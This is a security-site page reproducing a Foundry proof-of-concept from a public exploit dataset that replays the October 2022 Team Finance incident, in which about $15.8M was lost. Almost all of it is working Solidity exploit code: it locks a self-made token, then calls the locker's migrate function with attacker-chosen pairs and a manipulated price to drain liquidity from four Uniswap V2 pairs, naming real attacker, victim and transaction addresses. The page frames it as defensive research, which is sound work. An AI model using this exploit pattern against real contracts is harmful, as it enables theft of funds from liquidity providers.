Skip to content
THREATWIRE

Public reproduction file

src/test/2022-10/TeamFinance_exp.sol

Public reproduction file for dataset entry Team Finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/TeamFinance_exp.sol273 lines
1 // SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : Multiple Tokens ~$15.8M US$
8// Root Cause : Lack of check function parameter legitimate
9// Attacker : 0x161cebb807ac181d5303a4ccec2fc580cc5899fd
10// Attack Contract : 0xcff07c4e6aa9e2fec04daaf5f41d1b10f3adadf4
11// Vulnerable Contract : https://etherscan.io/address/0x48d118c9185e4dbafe7f3813f8f29ec8a6248359#code#L1535
12// Attack Tx : https://etherscan.io/tx/0xb2e3ea72d353da43a2ac9a8f1670fd16463ab370e563b9b5b26119b2601277ce
13// Pre-work1: lockToken()
14// txId: https://etherscan.io/tx/0xe8f17ee00906cd0cfb61671937f11bd3d26cdc47c1534fedc43163a7e89edc6f
15// Pre-work2: extendLockDuration()
16// id 15324: https://etherscan.io/tx/0x2972f75d5926f8f948ab6a0cabc517a05f0da5b53e20f670591afbaa501aa436
17// id 15325: https://etherscan.io/tx/0xec75bb553f50af37f8dd8f4b1e2bfe4703b27f586187741b91db770ad9b230cb
18// id 15326: https://etherscan.io/tx/0x79ec728612867b3d82c0e7401e6ee1c533b240720c749b3968dea1464e59b2c4
19// id 15327: https://etherscan.io/tx/0x51185fb580892706500d3b6eebb8698c27d900618021fb9b1797f4a774fffb04
20//
21// @Analysis
22// Team Finance Official : https://twitter.com/TeamFinance_/status/1585770918873542656
23// PeckShield : https://twitter.com/peckshield/status/1585587858978623491
24// Solid Group : https://twitter.com/solid_group_1/status/1585643249305518083
25// Beiosin Alert : https://twitter.com/BeosinAlert/status/1585578499125178369
27CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
28address constant LockToken = 0xE2fE530C047f2d85298b07D9333C05737f1435fB;
30// Token address
31address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
32address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
33address constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
34address constant caw = 0xf3b9569F82B18aEf890De263B84189bd33EBe452;
35address constant tsuka = 0xc5fB36dd2fb59d3B98dEfF88425a3F425Ee469eD;
36address constant selfmadeToken = 0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF;
37// Create at https://etherscan.io/tx/0xa3cbbdd2494f6d5452de8edc5c8c32f316abc40140a63769a22e04cd2549963b
39// Pair address
40address constant FEG_WETH_UniV2Pair = 0x854373387E41371Ac6E307A1F29603c6Fa10D872;
41address constant USDC_CAW_UniV2Pair = 0x7a809081f991eCfe0aB2727C7E90D2Ad7c2E411E;
42address constant USDC_TSUKA_UniV2Pair = 0x67CeA36eEB36Ace126A3Ca6E21405258130CF33C;
43address constant KNDX_WETH_UniV2Pair = 0x9267C29e4f517cE9f6d603a15B50Aa47cE32278D;
45contract Attacker is Test {
46 address[4] victims = [FEG_WETH_UniV2Pair, USDC_CAW_UniV2Pair, USDC_TSUKA_UniV2Pair, KNDX_WETH_UniV2Pair];
47 uint256[4] migrateId; // Will fill those from preWork()
48 uint160 constant newPriceX96 = 79_210_883_607_084_793_911_461_085_816;
49 // equal tick: -5,
50 // equal price: 0.999563867
51 // Can calculate it from: https://github.com/stakewithus/notes/blob/main/notebook/uniswap-v3/tick-and-sqrt-price-x-96.ipynb
52 // And here: https://www.geogebra.org/solver?i=79210883607084793911461085816%3Dsqrt(x)*2%5E(96)
54 function setUp() public {
55 cheat.createSelectFork("mainnet", 15_837_893);
56 cheat.label(weth, "WETH");
57 cheat.label(usdc, "USDC");
58 cheat.label(dai, "DAI");
59 cheat.label(caw, "CAW");
60 cheat.label(tsuka, "TSUKA");
61 cheat.label(FEG_WETH_UniV2Pair, "FEG/WETH Pair");
62 cheat.label(USDC_CAW_UniV2Pair, "USDC/CAW Pair");
63 cheat.label(USDC_TSUKA_UniV2Pair, "USDC/TSUKA Pair");
64 cheat.label(KNDX_WETH_UniV2Pair, "KNDX/WETH Pair");
65 preWorks();
66 cheat.deal(address(this), 0); // set this balance is 0 to show effect
67 }
69 // function 0xe0cec5b0
70 function preWorks() public payable {
71 uint256 _unlockTime = block.timestamp + 5;
73 // txId: https://etherscan.io/tx/0xe8f17ee00906cd0cfb61671937f11bd3d26cdc47c1534fedc43163a7e89edc6f
74 // Lock 4000000000 selfmadeToken, return 4 new NFT ID
75 for (uint256 i; i < 4; ++i) {
76 uint256 nftId = ILockToken(LockToken).lockToken{value: 0.5 ether}(
77 selfmadeToken, address(this), 1_000_000_000, _unlockTime, false
78 );
79 migrateId[i] = nftId;
80 }
82 // txId-1: https://etherscan.io/tx/0x2972f75d5926f8f948ab6a0cabc517a05f0da5b53e20f670591afbaa501aa436
83 // txId-2: https://etherscan.io/tx/0xec75bb553f50af37f8dd8f4b1e2bfe4703b27f586187741b91db770ad9b230cb
84 // txId-3: https://etherscan.io/tx/0x79ec728612867b3d82c0e7401e6ee1c533b240720c749b3968dea1464e59b2c4
85 // txId-4: https://etherscan.io/tx/0x51185fb580892706500d3b6eebb8698c27d900618021fb9b1797f4a774fffb04
86 ILockToken(LockToken).extendLockDuration(migrateId[0], _unlockTime + 40_000);
87 ILockToken(LockToken).extendLockDuration(migrateId[1], _unlockTime + 40_000);
88 ILockToken(LockToken).extendLockDuration(migrateId[2], _unlockTime + 40_000);
89 ILockToken(LockToken).extendLockDuration(migrateId[3], _unlockTime + 40_000);
90 }
92 function testExploit() public {
93 IV3Migrator.MigrateParams memory parms;
94 uint256 _liquidityToMigrate;
96 emit log_named_decimal_uint("[Before] Attack Contract ETH balance", address(this).balance, 18);
97 emit log_named_decimal_uint("[Before] Attack Contract DAI balance", IERC20(dai).balanceOf(address(this)), 18);
98 emit log_named_decimal_uint("[Before] Attack Contract CAW balance", IERC20(caw).balanceOf(address(this)), 18);
99 emit log_named_decimal_uint(
100 "[Before] Attack Contract TSUKA balance", IERC20(tsuka).balanceOf(address(this)), 18
101 );
103 // The exploit code could be written like a for loop, but we keep it simple to let you could do some debugging here.
104 // ==================== Migrate FEG_WETH_UniV2Pair to V3 ====================
105 _liquidityToMigrate = IERC20(FEG_WETH_UniV2Pair).balanceOf(LockToken);
106 parms = IV3Migrator.MigrateParams({
107 pair: FEG_WETH_UniV2Pair,
108 liquidityToMigrate: _liquidityToMigrate,
109 percentageToMigrate: 1, // 1%
110 token0: selfmadeToken,
111 token1: weth,
112 fee: 500,
113 tickLower: -100,
114 tickUpper: 100,
115 amount0Min: 0,
116 amount1Min: 0,
117 recipient: address(this),
118 deadline: block.timestamp,
119 refundAsETH: true
120 });
122 ILockToken(LockToken).migrate(migrateId[0], parms, true, newPriceX96, false);
124 //console.log("\t[DEBUG]After migrated FEG_WETH_UniV2Pair, Attack Contract ETH balance", address(this).balance);
126 // ==================== Migrate USDC_CAW_UniV2Pair to V3 ====================
127 _liquidityToMigrate = IERC20(USDC_CAW_UniV2Pair).balanceOf(LockToken);
128 parms = IV3Migrator.MigrateParams({
129 pair: USDC_CAW_UniV2Pair,
130 liquidityToMigrate: _liquidityToMigrate,
131 percentageToMigrate: 1,
132 token0: usdc,
133 token1: caw,
134 fee: 500,
135 tickLower: -100,
136 tickUpper: 100,
137 amount0Min: 0,
138 amount1Min: 0,
139 recipient: address(this),
140 deadline: block.timestamp,
141 refundAsETH: true
142 });
144 ILockToken(LockToken).migrate(migrateId[1], parms, true, newPriceX96, false);
146 uint256 usdc_bal = IERC20(usdc).balanceOf(address(this));
148 if (usdc_bal > 0) {
149 swapUsdcToDai();
150 }
152 //console.log("\t[DEBUG]After migrated USDC_CAW_UniV2Pair, Attack Contract DAI balance", IERC20(dai).balanceOf(address(this)));
153 //console.log("\t[DEBUG]After migrated USDC_CAW_UniV2Pair, Attack Contract CAW balance", IERC20(caw).balanceOf(address(this)));
155 // ==================== Migrate USDC_TSUKA_UniV2Pair to V3 ====================
156 _liquidityToMigrate = IERC20(USDC_TSUKA_UniV2Pair).balanceOf(LockToken);
157 parms = IV3Migrator.MigrateParams({
158 pair: USDC_TSUKA_UniV2Pair,
159 liquidityToMigrate: _liquidityToMigrate,
160 percentageToMigrate: 1,
161 token0: usdc,
162 token1: tsuka,
163 fee: 500,
164 tickLower: -100,
165 tickUpper: 100,
166 amount0Min: 0,
167 amount1Min: 0,
168 recipient: address(this),
169 deadline: block.timestamp,
170 refundAsETH: true
171 });
172 ILockToken(LockToken).migrate(migrateId[2], parms, true, newPriceX96, false);
174 usdc_bal = IERC20(usdc).balanceOf(address(this));
176 if (usdc_bal > 0) {
177 swapUsdcToDai();
178 }
180 //console.log("\t[DEBUG]After migrated USDC_TSUKA_UniV2Pair, Attack Contract DAI balance", IERC20(dai).balanceOf(address(this)));
181 //console.log("\t[DEBUG]After migrated USDC_TSUKA_UniV2Pair, Attack Contract TSUKA balance", IERC20(caw).balanceOf(address(this)));
183 //// ==================== Migrate KNDX_WETH_UniV2Pair to V3 ====================
184 _liquidityToMigrate = IERC20(KNDX_WETH_UniV2Pair).balanceOf(LockToken);
185 parms = IV3Migrator.MigrateParams({
186 pair: KNDX_WETH_UniV2Pair,
187 liquidityToMigrate: _liquidityToMigrate,
188 percentageToMigrate: 1,
189 token0: selfmadeToken,
190 token1: weth,
191 fee: 500,
192 tickLower: -100,
193 tickUpper: 100,
194 amount0Min: 0,
195 amount1Min: 0,
196 recipient: address(this),
197 deadline: block.timestamp,
198 refundAsETH: true
199 });
201 ILockToken(LockToken).migrate(migrateId[3], parms, true, newPriceX96, false);
203 //console.log("\t[DEBUG] After migrated KNDX_WETH_UniV2Pair, Attack Contract ETH balance", address(this).balance);
205 // ===========================================================================
207 emit log_named_decimal_uint("[After] Attack Contract ETH balance", address(this).balance, 18);
208 emit log_named_decimal_uint("[After] Attack Contract DAI balance", IERC20(dai).balanceOf(address(this)), 18);
209 emit log_named_decimal_uint("[After] Attack Contract CAW balance", IERC20(caw).balanceOf(address(this)), 18);
210 emit log_named_decimal_uint("[After] Attack Contract TSUKA balance", IERC20(tsuka).balanceOf(address(this)), 18);
211 }
213 // Function 0xf9b65204
214 function swapUsdcToDai() private {
215 address curve_3pool = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;
216 uint256 usdc_bal = IERC20(usdc).balanceOf(address(this));
217 uint256 min_dy = usdc_bal / 100 * 98;
218 IERC20(usdc).approve(curve_3pool, type(uint256).max);
219 ICurvePool(curve_3pool).exchange(1, 0, usdc_bal, min_dy);
220 }
222 receive() external payable {}
225/* -------------------- Interface -------------------- */
227interface IV3Migrator {
228 struct MigrateParams {
229 address pair; // the Uniswap v2-compatible pair
230 uint256 liquidityToMigrate; // expected to be balanceOf(msg.sender)
231 uint8 percentageToMigrate; // represented as a numerator over 100
232 address token0;
233 address token1;
234 uint24 fee;
235 int24 tickLower;
236 int24 tickUpper;
237 uint256 amount0Min; // must be discounted by percentageToMigrate
238 uint256 amount1Min; // must be discounted by percentageToMigrate
239 address recipient;
240 uint256 deadline;
241 bool refundAsETH;
242 }
245interface ILockToken {
246 struct Items {
247 address tokenAddress;
248 address withdrawalAddress;
249 uint256 tokenAmount;
250 uint256 unlockTime;
251 bool withdrawn;
252 }
254 function migrate(
255 uint256 _id,
256 IV3Migrator.MigrateParams calldata params,
257 bool noLiquidity,
258 uint160 sqrtPriceX96,
259 bool _mintNFT
260 ) external payable;
262 //function lockedToken(uint256) external returns(Items memory);
264 function lockToken(
265 address _tokenAddress,
266 address _withdrawalAddress,
267 uint256 _amount,
268 uint256 _unlockTime,
269 bool _mintNFT
270 ) external payable returns (uint256 _id);
272 function extendLockDuration(uint256 _id, uint256 _unlockTime) external;

Analysis

Dataset entry

Public Foundry test for “Team Finance” (2022-10-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x161cebb807ac181d5303a4ccec2fc580cc5899fd

  • Attack Contract

    0xcff07c4e6aa9e2fec04daaf5f41d1b10f3adadf4

  • Vulnerable Contract

    0x48d118c9185e4dbafe7f3813f8f29ec8a6248359

  • Attack Tx

    0xb2e3ea72d353da43a2ac9a8f1670fd16463ab370e563b9b5b26119b2601277ce

File record

Name
Team Finance
Path
src/test/2022-10/TeamFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
41357f60613cc2746bd0cf13186dac8477998661
Language
Solidity
Size
274 lines
Date
2022-10-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-10/TeamFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 41357f60613cc2746bd0cf13186dac8477998661, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.